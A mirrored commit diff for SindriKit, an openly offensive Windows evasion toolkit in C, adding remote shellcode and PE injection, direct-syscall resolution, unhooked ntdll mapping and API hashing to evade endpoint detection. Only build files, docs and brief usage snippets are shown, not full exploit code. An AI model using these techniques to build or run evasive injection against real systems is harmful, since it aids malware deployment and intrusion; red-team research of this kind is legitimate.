mirror of
https://github.com/youssefnoob003/SindriKit
synced 2026-07-07 21:57:09 +00:00
Release v1.1.0: Process Injection & Architecture Hardening
- Implement complete cross-process injection engine via snd_inj_ctx_t - Track explicit remote_entry_point for safe thread hijacking and PE execution - Refactor standalone syscall resolvers into a unified pipeline (scan/sort) - Perfect status code system by purging generic fallbacks in favor of highly-specific, domain-aware error codes - Fix minor pointer validation and parsing bugs in the reflective loader
This commit is contained in:
+33
-15
@@ -6,26 +6,44 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## [1.0.0] - 2026-06-22
|
## [1.1.0] - 2026-06-26
|
||||||
|
|
||||||
SindriKit is a Windows evasion toolkit written in C. This first release provides the core engine, focusing on a Dependency Injection architecture that separates offensive techniques from underlying OS execution mechanics. By programming against a unified API abstraction, operators can switch execution profiles (e.g., standard Win32 APIs vs. direct syscalls) without modifying their core payload logic.
|
Second major release. The framework grows from a reflective-loader-centric engine into a multi-domain toolkit with expanded primitives, reorganized headers, and comprehensive documentation.
|
||||||
|
|
||||||
### Core Features (v1.0)
|
### Major Additions
|
||||||
|
- **Injection Domain**: Introduced classic remote injection (`snd_inj_classic_pe`, `snd_inj_classic_shell`) driven by a shared `snd_inj_ctx_t` state machine.
|
||||||
|
- **Expanded Primitives**: Added Process and Mapping APIs (`snd_proc_*`, `snd_map_*`) and Object Manager support for `\KnownDlls\` bootstrapping.
|
||||||
|
- **Syscall Pipeline**: Introduced pluggable syscall strategies (`snd_syscall_resolve_ssn_scan`, `snd_syscall_resolve_ssn_sort`).
|
||||||
|
- **New PoCs**: Added `inject_shell` and `inject_pe` to demonstrate stealth remote injection profiles.
|
||||||
|
|
||||||
- **Syscall Resolution:** Dynamic SSN resolution with a cascading fallback pipeline supporting Hell's Gate, Halo's Gate, Tartarus' Gate, and VelesReek.
|
### Architecture & Refactoring
|
||||||
- **Kernel-State Bootstrapping:** Maps unhooked system modules directly from the `\KnownDlls` Object Manager directory to provide clean execution bases.
|
- **Parsers Restructuring**: Split parsing into `pe/` and `env/` (PEB walking) subdomains with a unified export resolver.
|
||||||
- **Algorithm Agility:** Compile-time API hashing (DJB2 or FNV1A). Hashing algorithms can be swapped across the entire project via a single CMake variable.
|
- **Syscall Subsystem**: Encapsulated NTDLL state; bootstrap now requires explicit `snd_syscall_set_ntdll` before direct syscall backends operate.
|
||||||
- **PE Parser:** A custom, bounds-checked PE32/PE32+ parser with explicit state tracking (`is_mapped`) for handling raw and memory-mapped files safely.
|
- **Common Infrastructure**: Split monolithic `helpers.h` and `nt_defs.h` into granular headers (`memory.h`, `string.h`, `debug.h`, `nt/types.h`, etc.) and added robust bounds checking.
|
||||||
- **Dynamic FFI:** Custom MASM assembly bridges for executing arbitrary functions while adhering to strict x64 and x86 calling conventions.
|
- **Loader Enhancements**: Updated reflective loader to use `snd_ldr_pe_ctx_t` with explicit state tracking (`snd_pe_target_t`) and introduced new runtime FFI macros (`SND_CALL_EXPORT`).
|
||||||
- **Reflective Loader (PoC Domain):** A fully functional 8-stage in-memory PE loader built on the framework, capable of executing entirely via direct syscalls with zero Win32 API surface.
|
|
||||||
- **State-Tracked Contexts:** Offensive operations are governed by discrete state machines, enabling tasks to be paused safely (e.g., for sleep obfuscation) and cleanly resumed.
|
|
||||||
|
|
||||||
### Build and OpSec Constraints
|
### Removals & Deprecations
|
||||||
|
- Removed legacy named gate resolvers (Hell's Gate, Halo's Gate, Tartarus, VelesReek) in favor of generic SSN strategies.
|
||||||
|
- Removed monolithic flat headers (`helpers.h`, `nt_defs.h`) and legacy parsing code.
|
||||||
|
- Removed implicit backend symbols (`snd_mem_native`, `snd_mod_native`) to enforce explicit `_nt` and `_sys` profiles.
|
||||||
|
|
||||||
- **Strict Compilation:** The build system enforces `/W4 /WX` to catch implicit truncations and pointer mismatches at compile time.
|
---
|
||||||
- **SILENT Tier:** Compiling with `SND_ENABLE_DEBUG=OFF` removes all state-machine prints and error contexts, ensuring no framework strings end up in the `.rdata` section.
|
|
||||||
- **CRT Independence:** The `SND_CRTLESS=ON` flag builds the engine without the C Standard Library, relying on compiler-intrinsic fallbacks.
|
|
||||||
|
|
||||||
## [1.0.1] - 2026-06-22
|
## [1.0.1] - 2026-06-22
|
||||||
|
|
||||||
### Fixed
|
### Fixed
|
||||||
- **Loaders:** Fixed an access violation in `native_load_library` caused by resolving `LdrLoadDll` from an unmapped/disk NTDLL image. The loader now strictly resolves via the active PEB to maintain loader lock integrity.
|
- **Loaders**: Fixed an access violation in `native_load_library` caused by resolving `LdrLoadDll` from an unmapped/disk NTDLL image. The loader now strictly resolves via the active PEB to maintain loader lock integrity.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## [1.0.0] - 2026-06-22
|
||||||
|
|
||||||
|
SindriKit is a Windows evasion toolkit written in C. This first release provides the core engine, focusing on a Dependency Injection architecture that separates offensive techniques from underlying OS execution mechanics.
|
||||||
|
|
||||||
|
### Major Additions
|
||||||
|
- **Syscall Resolution**: Dynamic SSN resolution with a cascading fallback pipeline supporting Hell's Gate, Halo's Gate, Tartarus' Gate, and VelesReek.
|
||||||
|
- **Kernel-State Bootstrapping**: Maps unhooked system modules directly from the `\KnownDlls` Object Manager directory.
|
||||||
|
- **Reflective Loader**: A fully functional 8-stage in-memory PE loader built on the framework, capable of executing entirely via direct syscalls.
|
||||||
|
- **Algorithm Agility**: Compile-time API hashing (DJB2 or FNV1A) via CMake.
|
||||||
|
- **PE Parser**: Custom, bounds-checked PE32/PE32+ parser with explicit state tracking (`is_mapped`).
|
||||||
|
- **Dynamic FFI**: Custom MASM assembly bridges for executing arbitrary functions safely.
|
||||||
|
|||||||
+38
-28
@@ -12,11 +12,11 @@ option(SND_RANDOMIZE_SEED "Use randomized seed for compile-time hashes" OFF)
|
|||||||
# --- Configuration Guards ---
|
# --- Configuration Guards ---
|
||||||
if(SND_CRTLESS)
|
if(SND_CRTLESS)
|
||||||
if(SND_BUILD_TESTS)
|
if(SND_BUILD_TESTS)
|
||||||
message(WARNING "SindriKit: SND_BUILD_TESTS requires the CRT. Forcing SND_CRTLESS=OFF.")
|
message(WARNING "SindriKit: SND_BUILD_TESTS requires the CRT. Forcing SND_CRTLESS=OFF. (If you chose the correct parameters, do a clean build and try again.)")
|
||||||
set(SND_CRTLESS OFF CACHE BOOL "Build the framework for pure CRT-less operation" FORCE)
|
set(SND_CRTLESS OFF CACHE BOOL "Build the framework for pure CRT-less operation" FORCE)
|
||||||
else()
|
else()
|
||||||
if(SND_ENABLE_DEBUG OR SND_USE_PRINTF)
|
if(SND_ENABLE_DEBUG OR SND_USE_PRINTF)
|
||||||
message(WARNING "SindriKit: CRT-less build requested. Forcing SND_ENABLE_DEBUG=OFF and SND_USE_PRINTF=OFF.")
|
message(WARNING "SindriKit: CRT-less build requested. Forcing SND_ENABLE_DEBUG=OFF and SND_USE_PRINTF=OFF. (If you chose the correct parameters, do a clean build and try again.)")
|
||||||
set(SND_ENABLE_DEBUG OFF CACHE BOOL "Enable debug prints and tracking" FORCE)
|
set(SND_ENABLE_DEBUG OFF CACHE BOOL "Enable debug prints and tracking" FORCE)
|
||||||
set(SND_USE_PRINTF OFF CACHE BOOL "Use printf instead of OutputDebugString" FORCE)
|
set(SND_USE_PRINTF OFF CACHE BOOL "Use printf instead of OutputDebugString" FORCE)
|
||||||
endif()
|
endif()
|
||||||
@@ -29,13 +29,13 @@ endif()
|
|||||||
|
|
||||||
# --- Architecture-specific assembly ---
|
# --- Architecture-specific assembly ---
|
||||||
if(CMAKE_SIZEOF_VOID_P EQUAL 8)
|
if(CMAKE_SIZEOF_VOID_P EQUAL 8)
|
||||||
set(SYSCALL_ASM src/primitives/syscalls/asm/invoke_x64.asm)
|
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_x64.asm)
|
||||||
set(EXECUTION_ASM src/primitives/execution/ffi/ffi_x64.asm)
|
set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x64.asm)
|
||||||
set(HEAVENSGATE_ASM "")
|
set(HEAVENSGATE_ASM "")
|
||||||
else()
|
else()
|
||||||
set(SYSCALL_ASM src/primitives/syscalls/asm/invoke_x86.asm)
|
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_x86.asm)
|
||||||
set(EXECUTION_ASM src/primitives/execution/ffi/ffi_x86.asm)
|
set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x86.asm)
|
||||||
set(HEAVENSGATE_ASM src/primitives/execution/heavens_gate/heavens_gate_x86.asm)
|
set(HEAVENSGATE_ASM src/primitives/execution/heavens_gate/asm/heavens_gate_x86.asm)
|
||||||
endif()
|
endif()
|
||||||
|
|
||||||
# --- Compile-time hash generation ---
|
# --- Compile-time hash generation ---
|
||||||
@@ -66,41 +66,51 @@ set_property(DIRECTORY APPEND PROPERTY CMAKE_CONFIGURE_DEPENDS ${HASH_MANIFEST}
|
|||||||
add_library(sindri_engine STATIC
|
add_library(sindri_engine STATIC
|
||||||
# Common
|
# Common
|
||||||
src/common/status.c
|
src/common/status.c
|
||||||
src/common/helpers.c
|
src/common/debug.c
|
||||||
src/common/buffer.c
|
src/common/buffer.c
|
||||||
src/common/hash.c
|
src/common/hash.c
|
||||||
src/common/disk.c
|
src/common/disk.c
|
||||||
# PE parser
|
# PE parser
|
||||||
src/parsers/pe/pe_parser.c
|
src/parsers/pe/parser.c
|
||||||
src/parsers/pe/pe_exports.c
|
src/parsers/pe/exports.c
|
||||||
src/parsers/pe/pe_imports.c
|
src/parsers/pe/imports.c
|
||||||
src/parsers/pe/pe_relocations.c
|
src/parsers/pe/relocations.c
|
||||||
src/parsers/pe/pe_utils.c
|
src/parsers/pe/utils.c
|
||||||
src/parsers/pe/pe_section_utils.c
|
src/parsers/pe/section_utils.c
|
||||||
|
# Environment parsers
|
||||||
|
src/parsers/env/peb.c
|
||||||
# Reflective loader
|
# Reflective loader
|
||||||
src/loaders/reflective/engine.c
|
src/loaders/reflective/engine.c
|
||||||
src/loaders/reflective/chain.c
|
src/loaders/reflective/chain.c
|
||||||
# KnownDlls loader
|
# Injection domain
|
||||||
src/loaders/knowndlls/knowndlls.c
|
src/injection/context.c
|
||||||
src/loaders/knowndlls/win.c
|
src/injection/classic/engine.c
|
||||||
src/loaders/knowndlls/native.c
|
src/injection/classic/chain.c
|
||||||
# Memory primitives
|
# Memory primitives
|
||||||
src/primitives/memory/win.c
|
src/primitives/memory/win.c
|
||||||
src/primitives/memory/native.c
|
src/primitives/memory/sys.c
|
||||||
|
src/primitives/memory/nt.c
|
||||||
|
# Mapping primitives
|
||||||
|
src/primitives/mapping/win.c
|
||||||
|
src/primitives/mapping/sys.c
|
||||||
|
src/primitives/mapping/nt.c
|
||||||
# Module primitives
|
# Module primitives
|
||||||
src/primitives/modules/win.c
|
src/primitives/modules/win.c
|
||||||
src/primitives/modules/native.c
|
src/primitives/modules/nt.c
|
||||||
src/primitives/modules/peb.c
|
# Process primitives
|
||||||
# Syscall resolvers
|
src/primitives/process/win.c
|
||||||
src/primitives/syscalls/syscalls.c
|
src/primitives/process/sys.c
|
||||||
src/primitives/syscalls/hellsgate.c
|
src/primitives/process/nt.c
|
||||||
src/primitives/syscalls/halosgate.c
|
# Object manager
|
||||||
src/primitives/syscalls/tartarusgate.c
|
src/primitives/object_manager/knowndlls.c
|
||||||
src/primitives/syscalls/velesreek.c
|
|
||||||
src/primitives/syscalls/internal/neighbor.c
|
|
||||||
# Execution
|
# Execution
|
||||||
src/primitives/execution/ffi/ffi_invoke.c
|
src/primitives/execution/ffi/ffi_invoke.c
|
||||||
src/primitives/execution/heavens_gate/heavens_gate.c
|
src/primitives/execution/heavens_gate/heavens_gate.c
|
||||||
|
# Syscall resolvers
|
||||||
|
src/primitives/execution/syscalls/syscalls.c
|
||||||
|
src/primitives/execution/syscalls/syscalls_scan.c
|
||||||
|
src/primitives/execution/syscalls/syscalls_sort.c
|
||||||
|
|
||||||
# Assembly & generated
|
# Assembly & generated
|
||||||
${SYSCALL_ASM}
|
${SYSCALL_ASM}
|
||||||
${EXECUTION_ASM}
|
${EXECUTION_ASM}
|
||||||
|
|||||||
+1
-1
@@ -47,7 +47,7 @@ I heavily scrutinize all pull requests against the following architectural const
|
|||||||
### 1. The Dependency Injection (DI) Contract
|
### 1. The Dependency Injection (DI) Contract
|
||||||
Never hardcode Win32 or Native API calls inside the core logic of an offensive domain (e.g., inside the reflective loader or PE parser).
|
Never hardcode Win32 or Native API calls inside the core logic of an offensive domain (e.g., inside the reflective loader or PE parser).
|
||||||
- **Always** consume functions through injected API tables (e.g., `snd_memory_api_t`, `snd_module_api_t`).
|
- **Always** consume functions through injected API tables (e.g., `snd_memory_api_t`, `snd_module_api_t`).
|
||||||
- If you are building a new domain, your context structure (e.g., `snd_injector_ctx_t`) must accept these API tables so the operator can swap execution mechanics at runtime.
|
- If you are building a new domain, your context structure (e.g., `snd_injection_ctx_t`) must accept these API tables so the operator can swap execution mechanics at runtime.
|
||||||
|
|
||||||
### 2. The Status System (`snd_status_t`)
|
### 2. The Status System (`snd_status_t`)
|
||||||
Never return raw integers, `NULL` pointers, or standard `NTSTATUS`/`DWORD` error codes from a framework function.
|
Never return raw integers, `NULL` pointers, or standard `NTSTATUS`/`DWORD` error codes from a framework function.
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ Most offensive utilities hardcode their execution mechanics inside the technique
|
|||||||
|
|
||||||
SindriKit solves this by enforcing a separation of concerns via interface abstraction tables:
|
SindriKit solves this by enforcing a separation of concerns via interface abstraction tables:
|
||||||
|
|
||||||
1. **The Technique Logic:** (e.g., loaders, injectors, patchers) deals with state tracking and data orchestration. It has no knowledge of how memory is allocated or how threads are created.
|
1. **The Technique Logic:** (e.g., loaders, injections, patchers) deals with state tracking and data orchestration. It has no knowledge of how memory is allocated or how threads are created.
|
||||||
2. **The Execution Mechanics:** (e.g., Win32 API, Native NTAPI, Direct Syscalls) are inside independent API tables and injected into the technique at runtime.
|
2. **The Execution Mechanics:** (e.g., Win32 API, Native NTAPI, Direct Syscalls) are inside independent API tables and injected into the technique at runtime.
|
||||||
|
|
||||||
By shifting execution mechanics to runtime function pointers, you can swap your entire strategy from Win32 calls to raw direct syscalls with a single line of code—without changing your payload execution logic.
|
By shifting execution mechanics to runtime function pointers, you can swap your entire strategy from Win32 calls to raw direct syscalls with a single line of code—without changing your payload execution logic.
|
||||||
@@ -27,7 +27,7 @@ By shifting execution mechanics to runtime function pointers, you can swap your
|
|||||||
## Design Architecture
|
## Design Architecture
|
||||||
|
|
||||||
* **Decoupled Execution Profiles:** Swap underlying memory, module, and thread manipulation behaviors via function pointer tables without breaking the calling technique.
|
* **Decoupled Execution Profiles:** Swap underlying memory, module, and thread manipulation behaviors via function pointer tables without breaking the calling technique.
|
||||||
* **Cascading Syscall Fallbacks:** Dynamically fall back through a priority queue of syscall extraction strategies (Hell's Gate, Halo's Gate, etc.) until one evades detection.
|
* **Cascading Syscall Fallbacks:** Pluggable SSN resolvers (`snd_syscall_resolve_ssn_scan`, `snd_syscall_resolve_ssn_sort`) with a priority chain — swap or extend strategies without touching domain code.
|
||||||
* **Compile-Time Obfuscation:** String and API hashing algorithms (DJB2, FNV1A) can be swapped globally via CMake. Compiling automatically randomizes the global seed to alter static signatures.
|
* **Compile-Time Obfuscation:** String and API hashing algorithms (DJB2, FNV1A) can be swapped globally via CMake. Compiling automatically randomizes the global seed to alter static signatures.
|
||||||
* **Release Builds:** A silent tier strips all diagnostic strings, file descriptors, and tracking frames from the final binary, reducing your static footprint to bare primitives.
|
* **Release Builds:** A silent tier strips all diagnostic strings, file descriptors, and tracking frames from the final binary, reducing your static footprint to bare primitives.
|
||||||
|
|
||||||
@@ -70,7 +70,8 @@ Just two lines for your tool to inherit all of SindriKit's capabilities: PE pars
|
|||||||
│ SINDRIKIT API ABSTRACTION LAYER │
|
│ SINDRIKIT API ABSTRACTION LAYER │
|
||||||
│ snd_memory_api_t -> alloc · free · protect │
|
│ snd_memory_api_t -> alloc · free · protect │
|
||||||
│ snd_module_api_t -> load_library · get_proc_address · ... │
|
│ snd_module_api_t -> load_library · get_proc_address · ... │
|
||||||
│ [ future tables ] -> thread · process · object · ... │
|
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
|
||||||
|
│ [ future tables ] -> thread · object · ... │
|
||||||
├──────────────────┬──────────────────────┬──────────────────────────────────┤
|
├──────────────────┬──────────────────────┬──────────────────────────────────┤
|
||||||
│ Win32 Profile │ Native Profile │ Bring Your Own Mechanic │
|
│ Win32 Profile │ Native Profile │ Bring Your Own Mechanic │
|
||||||
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotic │
|
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotic │
|
||||||
@@ -81,21 +82,21 @@ Just two lines for your tool to inherit all of SindriKit's capabilities: PE pars
|
|||||||
In practice, this means every domain follows the same contract:
|
In practice, this means every domain follows the same contract:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
// Reflective Loader
|
// Reflective loader
|
||||||
snd_loader_ctx_t loader = {0};
|
snd_ldr_pe_ctx_t ctx = {0};
|
||||||
loader.raw_source = &payload;
|
ctx.raw_source = &payload;
|
||||||
loader.mem_api = &snd_mem_native;
|
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
|
||||||
loader.mod_api = &snd_mod_native;
|
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
|
||||||
snd_prepare_reflective_image(&loader);
|
snd_ldr_pe_prepare_image(&ctx);
|
||||||
snd_execute_reflective_image(&loader);
|
snd_ldr_pe_execute_image(&ctx);
|
||||||
|
|
||||||
// Remote Injector (planned)
|
// Classic injection
|
||||||
snd_injector_ctx_t injector = {0};
|
snd_inj_ctx_t inj = {0};
|
||||||
injector.mem_api = &snd_mem_native;
|
inj.target_pid = 1337;
|
||||||
injector.target_pid = 1337;
|
inj.payload = &shellcode;
|
||||||
snd_execute_injection(&injector);
|
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
|
||||||
|
snd_inj_classic_shell(&inj);
|
||||||
// ETW Patcher, Stack Spoofer, Credential Harvester... Same approach.
|
snd_inj_cleanup(&inj);
|
||||||
```
|
```
|
||||||
|
|
||||||
### Cascading Syscall Pipeline
|
### Cascading Syscall Pipeline
|
||||||
@@ -103,10 +104,9 @@ snd_execute_injection(&injector);
|
|||||||
SindriKit treats syscall resolution as an injectable mechanic, stacking strategies in priority order. The engine falls through until one succeeds:
|
SindriKit treats syscall resolution as an injectable mechanic, stacking strategies in priority order. The engine falls through until one succeeds:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_set_syscall_strategy(snd_hell_extract_syscall);
|
snd_syscall_set_ntdll(clean_ntdll);
|
||||||
snd_add_syscall_strategy(snd_halo_extract_syscall);
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
snd_add_syscall_strategy(snd_veles_extract_syscall);
|
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
||||||
snd_add_syscall_strategy(any_other_technique_you_want);
|
|
||||||
```
|
```
|
||||||
|
|
||||||
### Compile-Time Algorithm Agility
|
### Compile-Time Algorithm Agility
|
||||||
@@ -141,28 +141,25 @@ Every offensive operation is managed through a discrete context structure with s
|
|||||||
|
|
||||||
## The API Design Philosophy
|
## The API Design Philosophy
|
||||||
|
|
||||||
Bootstrap the execution subsystem once:
|
Bootstrap the syscall pipeline once (typical pattern):
|
||||||
|
|
||||||
```c
|
```c
|
||||||
PVOID clean_ntdll = NULL;
|
PVOID clean_ntdll = NULL;
|
||||||
snd_map_knowndll(&snd_knowndlls_win, L"ntdll.dll", &clean_ntdll);
|
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
|
||||||
snd_set_ntdll(clean_ntdll);
|
snd_syscall_set_ntdll(clean_ntdll);
|
||||||
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
snd_set_syscall_strategy(snd_hell_extract_syscall);
|
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
||||||
snd_add_syscall_strategy(snd_halo_extract_syscall);
|
|
||||||
```
|
```
|
||||||
|
|
||||||
One line to change your entire execution strategy:
|
Swap execution profile with one assignment:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
// Win32 profile
|
ctx.mem_api = &snd_mem_win; // diagnostic
|
||||||
const snd_memory_api_t *mem_api = &snd_mem_win;
|
ctx.mem_api = &snd_mem_nt; // NT stubs via PEB + EAT
|
||||||
|
ctx.mem_api = &snd_mem_sys; // direct syscalls (pipeline required)
|
||||||
// Native profile. Everything above this line stays identical
|
|
||||||
const snd_memory_api_t *mem_api = &snd_mem_native;
|
|
||||||
```
|
```
|
||||||
|
|
||||||
`snd_module_api_t` follows the same contract. `mod_api->get_proc_address` resolves to `GetProcAddress` under `snd_mod_win` and to manual EAT parsing over PEB-walked module bases under `snd_mod_native`.
|
Module resolution follows the same pattern (`snd_mod_win` vs `snd_mod_nt`). There is no syscall-backed module backend — imports use PEB walk + EAT even in full `_sys` profiles.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -189,16 +186,19 @@ target_link_libraries(my_tool PRIVATE sindri::engine)
|
|||||||
|
|
||||||
## Documentation
|
## Documentation
|
||||||
|
|
||||||
- **[Getting Started](docs/getting_started/)** — Installation, CMake integration, and bootstrapping the engine.
|
Full reference under [`docs/`](docs/README.md):
|
||||||
- **[Core Architecture](docs/architecture/)** — The design philosophy, state machines, dependency injection.
|
|
||||||
- **[Domain: Primitives](docs/domains/primitives/)** — Direct syscall pipelines (Hell's Gate / Halo's Gate etc).
|
|
||||||
- **[Domain: Loaders](docs/domains/loaders/)** — The staged reflective PE loading pipeline and KnownDlls bootstrapping.
|
|
||||||
- **[Parsers](docs/parsers/)** — Bounds-checked PE32/PE32+ parsing: exports, imports, relocations.
|
|
||||||
- **[Infrastructure](docs/common/)** — Common API definitions, configuration, and hash manifests.
|
|
||||||
- **[Tooling & Tests](docs/tests/)** — Test runner, PE mutator, and Python scripts.
|
|
||||||
- **[Examples & PoCs](docs/examples/)** — Step-by-step walkthroughs of `loader_winapi` and `loader_nowinapi`.
|
|
||||||
|
|
||||||
*Planned: **[Injection](docs/domains/injection/)** and **[Evasion](docs/domains/evasion/)** domains.*
|
- **[Getting Started](docs/getting_started/)** — CMake, build tiers, DI bootstrap, first loader/injection workflow
|
||||||
|
- **[Architecture](docs/architecture/)** — Dependency injection, state machines, status system
|
||||||
|
- **[Primitives](docs/domains/primitives/)** — Memory, modules, process, mapping, syscalls, execution (FFI)
|
||||||
|
- **[Loaders](docs/domains/loaders/)** — Reflective PE pipeline
|
||||||
|
- **[Injection](docs/domains/injection/)** — Classic shellcode and PE injection
|
||||||
|
- **[Parsers](docs/parsers/)** — PE and env (PEB) subdomains
|
||||||
|
- **[Common](docs/common/)** — CRT-free helpers, buffers, hashing, status
|
||||||
|
- **[Examples & PoCs](docs/examples/)** — `loader_winapi`, `loader_nowinapi`, `inject_pe`, `inject_shell`, `heavens_gate`
|
||||||
|
- **[Tests](docs/tests/)** — Integration runner, PE mutator
|
||||||
|
|
||||||
|
*Planned: **[Evasion](docs/domains/evasion/)** domain.*
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -208,6 +208,14 @@ target_link_libraries(my_tool PRIVATE sindri::engine)
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## Support the Project
|
||||||
|
|
||||||
|
SindriKit is open-source and built for the community. If this framework saved you development time or assisted in your research, consider supporting independent offensive R&D:
|
||||||
|
|
||||||
|
* **BTC:** `bc1qsm7dsdsqmlwcw3f7uarxgx0mlu8tlxnyd7y2gz`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## License
|
## License
|
||||||
|
|
||||||
[MIT](LICENSE)
|
[MIT](LICENSE)
|
||||||
|
|||||||
+14
-1
@@ -26,7 +26,7 @@
|
|||||||
|
|
||||||
|
|
||||||
# -- ntdll.dll ----------------------------------------------------------------
|
# -- ntdll.dll ----------------------------------------------------------------
|
||||||
# Syscall targets resolved via Hell's / Halo's / Tartarus' / VelesReek Gate.
|
# Syscall targets.
|
||||||
# Also provides LdrLoadDll for the native module loader.
|
# Also provides LdrLoadDll for the native module loader.
|
||||||
[module::ntdll.dll]
|
[module::ntdll.dll]
|
||||||
NtAllocateVirtualMemory
|
NtAllocateVirtualMemory
|
||||||
@@ -36,3 +36,16 @@ NtOpenSection
|
|||||||
NtMapViewOfSection
|
NtMapViewOfSection
|
||||||
NtClose
|
NtClose
|
||||||
LdrLoadDll
|
LdrLoadDll
|
||||||
|
NtWriteVirtualMemory
|
||||||
|
NtCreateThreadEx
|
||||||
|
NtOpenProcess
|
||||||
|
|
||||||
|
# -- kernel32.dll -------------------------------------------------------------
|
||||||
|
# Win32 wrappers used by the snd_proc_win injection backend.
|
||||||
|
[module::kernel32.dll]
|
||||||
|
OpenProcess
|
||||||
|
VirtualAllocEx
|
||||||
|
WriteProcessMemory
|
||||||
|
VirtualProtectEx
|
||||||
|
CreateRemoteThread
|
||||||
|
CloseHandle
|
||||||
|
|||||||
+28
-23
@@ -1,31 +1,36 @@
|
|||||||
# SindriKit Documentation
|
# SindriKit Documentation
|
||||||
|
|
||||||
This is the root of the SindriKit technical documentation tree. It is organized to mirror the framework's internal architecture: shared infrastructure at the base, architectural patterns above it, domain-specific techniques and API references at the leaves.
|
Technical documentation mirroring the framework layout: shared infrastructure at the base, architectural patterns above it, domain techniques and API references at the leaves.
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
|
|
||||||
### 1. Introduction & Onboarding
|
### Introduction & onboarding
|
||||||
- [**getting_started/**](getting_started/)
|
- [getting_started/](getting_started/) — CMake setup, DI bootstrap, first loader/injection workflow
|
||||||
Onboarding guides for building SindriKit, configuring CMake, and running the first reflective loader.
|
- [examples/](examples/) — PoC walkthroughs across Win32, NT, and syscall profiles
|
||||||
- [**examples/**](examples/)
|
|
||||||
Standalone PoC walkthroughs demonstrating the framework across three operational profiles.
|
|
||||||
|
|
||||||
### 2. The Core Framework
|
### Core framework
|
||||||
- [**architecture/**](architecture/)
|
- [architecture/](architecture/) — dependency injection, state machines, status tiers, implant integration
|
||||||
Core design patterns governing the framework: Dependency Injection, State Machines, the Status System, and Red Team integration guidance.
|
- [domains/](domains/) — primitives, loaders, injection, evasion (stub)
|
||||||
- [**domains/**](domains/)
|
|
||||||
The actionable offensive capabilities: primitives, loaders, and planned future domains (evasion, injection).
|
|
||||||
|
|
||||||
### 3. Internal Engines & Utilities
|
### Internal engines
|
||||||
- [**parsers/**](parsers/)
|
- [parsers/](parsers/) — PE parsing and env/PEB introspection
|
||||||
PE format parsing engines: header validation, export/import resolution, base relocations, and TLS callback execution.
|
- [common/](common/) — CRT-free helpers, buffers, hashing, status, debug
|
||||||
- [**common/**](common/)
|
|
||||||
Shared, domain-agnostic utilities: CRT-independent primitives, buffer bounds tracking, API hashing, disk I/O, and the debug output system.
|
|
||||||
|
|
||||||
### 4. Build System & Quality Assurance
|
### Build & QA
|
||||||
- [**config/**](config/)
|
- [config/](config/) — hash manifest (`config/hashes.ini`)
|
||||||
Documentation for the declarative configuration files (hash manifests) consumed by the build system.
|
- [scripts/](scripts/) — pre-build automation (`generate_hashes.py`)
|
||||||
- [**scripts/**](scripts/)
|
- [tests/](tests/) — integration test runner, PE mutator, fixtures
|
||||||
Documentation for the pre-build automation scripts that generate compile-time hash headers.
|
|
||||||
- [**tests/**](tests/)
|
## Documentation conventions
|
||||||
Documentation for the integration testing infrastructure: the data-driven test runner, PE mutation engine, and test payload fixtures.
|
|
||||||
|
| Page type | Typical sections |
|
||||||
|
|---|---|
|
||||||
|
| **README** (folder index) | Intro → header/source map → Table of Contents → Related documentation |
|
||||||
|
| **techniques.md** | Concepts, OpSec trade-offs, integration patterns |
|
||||||
|
| **api_reference.md** | Signatures, parameters, returns, source paths |
|
||||||
|
|
||||||
|
Syscalls use `pipeline.md` + `engines.md` instead of `techniques.md`. Execution splits FFI and Heaven's Gate into dedicated technique pages.
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
Start here: [Getting started](getting_started/README.md) → [Basic usage](getting_started/basic_usage.md) → [Examples OpSec table](examples/README.md)
|
||||||
|
|||||||
+33
-10
@@ -1,16 +1,39 @@
|
|||||||
# Core Architecture
|
# Core Architecture
|
||||||
|
|
||||||
This directory outlines the fundamental design patterns, execution models, and telemetry constraints governing the entire SindriKit framework.
|
Design patterns, execution models, and telemetry constraints governing SindriKit.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> **No Direct OS API Calls:** Domains in this framework are strictly forbidden from making direct calls to OS APIs (like `VirtualAlloc` or `NtProtectVirtualMemory`). All interactions must occur through Dependency Injection tables.
|
> **No direct OS calls in domain logic.** Host interaction goes through injected API tables or explicitly bootstrapped execution layers (syscall pipeline, FFI bridges).
|
||||||
|
|
||||||
|
## Framework layers
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─────────────────────────────────────────────────────────────┐
|
||||||
|
│ Application / implant / PoC │
|
||||||
|
└───────────────────────────┬─────────────────────────────────┘
|
||||||
|
▼
|
||||||
|
┌─────────────────────────────────────────────────────────────┐
|
||||||
|
│ Domains: loaders · injection · (future) evasion │
|
||||||
|
└───────────────────────────┬─────────────────────────────────┘
|
||||||
|
▼
|
||||||
|
┌─────────────────────────────────────────────────────────────┐
|
||||||
|
│ Primitives + execution (DI tables, syscalls, FFI) │
|
||||||
|
